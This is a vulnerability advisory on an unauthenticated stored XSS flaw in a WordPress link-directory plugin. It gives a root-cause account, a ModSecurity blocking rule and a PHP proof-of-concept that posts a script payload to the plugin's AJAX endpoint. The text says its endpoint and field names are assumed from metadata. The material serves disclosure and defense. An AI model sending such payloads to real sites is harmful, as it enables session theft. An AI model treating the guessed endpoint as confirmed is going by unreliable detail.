Atomic Edge analysis of CVE-2026-57682 (metadata-based): This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Simple Link Directory Pro plugin for WordPress, affecting versions up to 15.0.5. The vulnerability has a CVSS score of 7.2 and allows an attacker with no privileges to inject arbitrary JavaScript that executes when any user views the injected page.
Root Cause: The CWE-79 classification indicates improper neutralization of user-supplied input during web page generation. Based on the description, the plugin fails to sanitize input and escape output when processing link submissions. This likely occurs in a submission form that accepts data through an AJAX handler or REST API endpoint without proper validation. Athenticated input is stored to the database and later rendered on a directory page without escaping.
Exploitation: An unauthenticated attacker can submit a malicious link entry via the plugin’s front-end submission form. The plugin exposes an AJAX action under the admin-ajax.php endpoint, likely with an action parameter such as ‘qc_simple_link_directory_submit’ or similar. The attacker sends a POST request containing payloads in fields like link_title, link_url, link_description, or link_category. The injected JavaScript executes when an administrator or visitor views the link directory page.
Remediation: The patch (version 15.0.6) must implement proper input sanitization using WordPress functions like sanitize_text_field() or wp_kses() for each submitted field. Additionally, the plugin must escape all output using esc_html(), esc_url(), or esc_attr() when rendering stored data on directory pages. Both server-side validation and output escaping are required to close this vulnerability.
Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into directory listing pages. This leads to cookie theft, session hijacking, redirection to malicious sites, defacement, or execution of actions in the context of a logged-in administrator. The stored XSS persists until removed by an administrator.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57682 (metadata-based)
# Blocks unauthenticated stored XSS via Simple Link Directory Pro AJAX submission
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57682 Simple Link Directory Pro Unauthenticated Stored XSS',severity:'CRITICAL',tag:'CVE-2026-57682'"
SecRule ARGS_POST:action "@streq qc_simple_link_directory_submit"
"chain"
SecRule ARGS_POST:link_description "@rx <script"
"t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57682 - Simple Link Directory Pro <= 15.0.5 - Unauthenticated Stored Cross-Site Scripting
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Assumed AJAX action - derived from plugin slug 'qc-simple-link-directory'
$action = 'qc_simple_link_directory_submit';
// XSS payload injected into the link description field
$payload = '<script>alert("Atomic Edge XSS")</script>';
// Build POST data mimicking the plugin's submission form
$post_data = array(
'action' => $action,
'link_title' => 'Test Link',
'link_url' => 'https://example.com',
'link_description' => $payload,
'link_category' => '1'
);
// Initialize cURL session
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check results
if ($http_code == 200) {
echo "[+] Payload submitted successfully. Check the link directory page for execution.n";
} elseif ($http_code == 403) {
echo "[-] Request blocked (WAF or permissions).n";
} else {
echo "[*] HTTP Response Code: $http_coden";
echo "[*] Response: $responsen";
}